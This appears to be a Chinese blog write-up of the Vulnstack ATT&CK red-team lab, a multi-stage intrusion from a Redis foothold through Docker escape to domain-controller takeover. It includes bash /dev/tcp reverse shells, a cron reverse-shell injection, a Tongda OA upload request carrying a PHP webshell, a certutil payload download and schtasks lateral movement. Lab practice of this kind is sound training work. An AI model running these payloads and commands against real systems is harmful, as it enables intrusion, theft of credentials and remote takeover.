查看原文
其他

原创 | 从靶场学渗透之——ATT&CK实战系列-红队评估(七)

湿巾不湿 SecIN技术平台 2022-06-18

点击上方蓝字 关注我吧


环境搭建

靶场地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

路由器网段:10.0.0.0/24

VMnet8:192.168.52.0/24

VMnet14:192.168.93.0/24


信息收集

2.1 主机发现

nmap对C段扫描经行主机发现:

nmap -sn 10.0.0.0/24

发现存活主机IP10.0.0.155

2.2 端口扫描

nmap对10.0.0.155的全端口经行扫描

nmap -p 1-65535 -sV 10.0.0.155


边界突破

3.1 从Redis未授权到Getshell

使用Goby对资产进行分析,发现了该6379端口所开的redis服务存在redis未授权漏洞:

Redis到Getshell的几种方式在https://paper.seebug.org/1169/#rce这篇文章中都有介绍,因为拍了快照这里我就采用主从复制RCE了,真实渗透中用此方法容易把redis打坏,然而我并没有复现成功,于是尝试写入ssh-key。

使用PuTTY生成密钥对,复制公钥和保存私钥

将公钥复制到文件中并对其首尾添加换行,避免和redis中的其他数据混合造成乱码,再将公钥写入redis缓存:

(echo -e "\n\n"; cat pub.txt; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 10.0.0.155 -x set hacker

再连接redis设置备份路径和文件名并保存:

用PuTTY加载私钥ssh连接目标主机:

(其实第一遍做的时候直到这一步我才知道这台机子还桥接连了我的WiFi,看来靶场作者的本意是需要我从路由器网段打进去到第二层192.168.52.0/24网段。不仔细审题的结果。。。。。)

远程下载CS的Linux马,添加可执行权限并执行:

成功上线:

3.2 Laravel RCE

读取81端口的nginx配置文件/etc/nginx/conf.d/81.conf,发现是反向代理了192.168.52.20:8000,于是尝试拿下这台web服务器

访问http://10.0.0.155:8000发现是Laravel,记得今年刚出了一个CVE,看一下版本刚好可以打,利用CVE-2021-3129 一键 getshell工具

根据文档描述,用Godzilla连接webshell(不知道为啥用Godzilla 3.x的版本都显示初始化失败,用了V2.96才连接成功)

上传木马赋予可执行权限,上线CS:

查看根目录发现.dockerenv文件,判断这是个docker容器:

3.3 环境变量提权

逃逸Docker有一种方法是利用脏牛(CVE-2016-5195),好处是不需要再提权了,直接可用逃逸到宿主机。看了内核版本似乎有希望,但很不幸我没成功:

而CVE-2019-5736的利用需要宿主机使用exec命令登录Docker容器,条件比较苛刻。

看靶机的官方文档提示Linux环境变量提权,参考这篇文章,我们执行命令找一下所有的s权限位文件:

find / -perm -u=s -type f 2>/dev/null

发现/home/jobs/shell文件

执行shell文件并读取demo.c文件,判断这个shell文件只执行了一个ps命令可以使用环境变量提权:

先弹个shell到我们已经ssh登录的边缘服务器上:

bash -c 'bash -i &>/dev/tcp/192.168.52.10/9999 <&1'

尝试使用echo命令法:

echo "/bin/bash" > /tmp/pschmod 777 /tmp/psecho $PATHexport PATH=/tmp:$PATH./shell

成功提权:

将root权限上线到cs:

3.4 Docker逃逸

Docker容器内运行命令fdisk -l发现有物理磁盘,判断容器是特权模式启动,准备尝试特权模式逃逸

将sda1挂载到自己创建的目录

将反弹shell的命令注入到定时计划中:

echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/9998 0>&1' >> /a/var/spool/cron/crontabs/root

过了一段时间发现怎么也等不到shell弹回来,只好换一种方法。想到了拿边缘服务器时用的方法,先写authorized_keys然后挂代理登录。(PS:代理的搭建写在第4.1.1小节了)

同样用puttygen生成密钥对,将公钥写入/a/root/.ssh/authorized_keys

使用PuTTY,配置登录ip、登录用户名、socks代理、私钥等信息:

ssh登录web2:

上线cs:

此时发现还有192.168.93.0/24网段


内网渗透

4.1 二层网络渗透

在Getshell边缘服务器时我们发现了192.168.52.0/24网段,为了进行深层网络渗透需要添加代理、收集本地信息和内网信息等操作。

4.1.1 代理搞里头

考虑到网络延时的问题,决定在边缘服务器192.168.52.10部署frps和frpc,使外部网络可以通过socks代理的方式访问内网

配置frps和frpc的配置文件:

下载到服务器并赋予执行权限,分别启动frps和frpc:

测试一下:

4.1.2 内网信息收集

对第二层网络进行扫描,发现192.168.52.30

使用fscan挂代理对其进行扫描发现有个通达OA

4.1.3 通达OA组合拳Getshell

配置Proxifier全局代理规则,仅对192.168.52.0/24使用sockes代理进行通信。

未授权文件上传漏洞:

POST /ispirit/im/upload.php HTTP/1.1Host: 192.168.52.30:8080Content-Length: 500Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"

2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="P"

123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"

1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg

<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh1YB4pV8McGB--

上传的文件路径为2103/1905675555.jpg

文件包含漏洞

POST /ispirit/interface/gateway.php HTTP/1.1Host: 10.0.0.155Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0Content-Length: 69Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2103/1905675555.jpg"}&cmd=whoami

将CS生成的马上传到VPS,执行命令远程下载(延迟特别大,需要忍一下):

certutil -urlcache -split -f http://xxxx/shell.exe

执行上线:

4.2 三层网络渗透

使用CS插件梼杌带的OnlinePC扫描三层网段存活的主机:

发现除了Web2和PC1还存在两台主机分别是192.168.93.30192.168.93.40

看到192.168.93.30主机名比较可疑,ping一下域名:

判断192.168.93.30就是域控,本地抓一下密码看看:

抓到域管理员用户密码:administrator\Whoami2021

4.2.2 横向移动

测试域管账户是否可用:

net use \\192.168.93.30 /user:administrator "Whoami2021"dir \\192.168.93.30\C$

在PC1上设置监听器做中转会话:

选择Listener生成木马:

将生成的木马上传到PC1,并从PC1上传到域控:

设置计划任务:

schtasks /create /s 192.168.93.30 /u administrator /p "Whoami2021" /sc MINUTE /mo 1 /tn test /tr "C:\\beacon.exe"

等待域控上线:

同样操作拿下另一台主机192.168.93.40

权限维持

维持是不可能的维持的,云服务器马上就到期了还没续费

至此,所有上线主机:

总结


做靶机的时候被卡在环境变量提权,太菜了,幸好是靶机,还有积累学习的机会。

注意到文中有些图片上传到平台后就比较模糊,如果有需要的话可留言邮箱,我发PDF版给大家。

如若文中有哪里分析的不到位,还请海涵并指出错误。


本篇参考:

https://www.freebuf.com/articles/network/264560.html

https://paper.seebug.org/1169/#rce

http://www.361way.com/path-attack/5955.html


相关推荐




原创 | 数据库-MongoDB漏洞利用姿势

原创 | 浅谈Log4j2在Springboot的检测

原创 | 永恒之蓝漏洞分析

你要的分享、在看与点赞都在这儿~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存